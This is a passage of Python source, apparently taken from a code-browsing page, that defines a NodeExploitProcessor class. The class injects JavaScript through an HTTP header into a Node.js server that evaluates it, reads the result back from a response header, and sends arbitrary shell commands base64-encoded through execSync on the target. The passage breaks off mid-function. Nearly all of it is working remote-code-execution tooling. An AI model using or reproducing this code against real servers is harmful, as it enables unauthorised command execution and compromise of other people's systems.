| 10 | Inherits from the ExploitProcessor class. |
| 11 | """ |
| 12 | class NodeExploitProcessor(ExploitProcessor): |
| 13 | def __init__(self, host: str, path: str, method: str, header: str): |
| 14 | super().__init__(host, path, method, header) |
| 15 | |
| 16 | """ |
| 17 | @brief See base class for details. |
| 18 | """ |
| 19 | def get_name(): |
| 20 | return "Node" |
| 21 | |
| 22 | """ |
| 23 | @brief See base class for details. |
| 24 | """ |
| 25 | def _Base__make_connection(self): |
| 26 | try: |
| 27 | return self._Base__send_message( |
| 28 | f"r.setHeader('{self.header}', process.cwd());" |
| 29 | f"r.end();") |
| 30 | except: |
| 31 | raise CommandException(f"Unable to exploit host. Make sure the " |
| 32 | f"TARGET_HOST, TARGET_PATH, TARGET_TYPE, " |
| 33 | f"and METHOD are correct.") |
| 34 | |
| 35 | """ |
| 36 | @brief See base class for details. |
| 37 | """ |
| 38 | def _Base__send_message(self, message: str): |
| 39 | url = f"{self.host}{self.path}" |
| 40 | if not self.host.startswith("http"): |
| 41 | url = "http://" + url |
| 42 | try: |
| 43 | response = requests.request( |
| 44 | self.method, |
| 45 | url, |
| 46 | headers={ f"{self.header}": message } |
| 47 | ) |
| 48 | if not response.ok: |
| 49 | raise Exception() |
| 50 | if not self.header in response.headers: |
| 51 | raise CommandException( |
| 52 | f"No message sent back from server, your exploit is " |
| 53 | f"probably being filtered by a firewall.") |
| 54 | return response.headers[self.header] |
| 55 | except: |
| 56 | raise CommandException(f"Message was not successfully processed.") |
| 57 | |
| 58 | """ |
| 59 | @brief Run a command on the target machine, and return its output as a |
| 60 | string. |
| 61 | @param command the command to be ran as a string |
| 62 | @return a string of the output from the server, will be blank if it fails. |
| 63 | @throw CommandException if there is a connection error. |
| 64 | """ |
| 65 | def __run(self, command: str): # relies on execSync being imported |
| 66 | encoded = base64.b64encode(command.encode()).decode() |
| 67 | out = self.__eval(f"try {{" |
| 68 | f"let out = execSync(Buffer.from('{encoded}'," |
| 69 | f"'base64').toString('ascii')," |
nothing calls this directly
no outgoing calls
no test coverage detected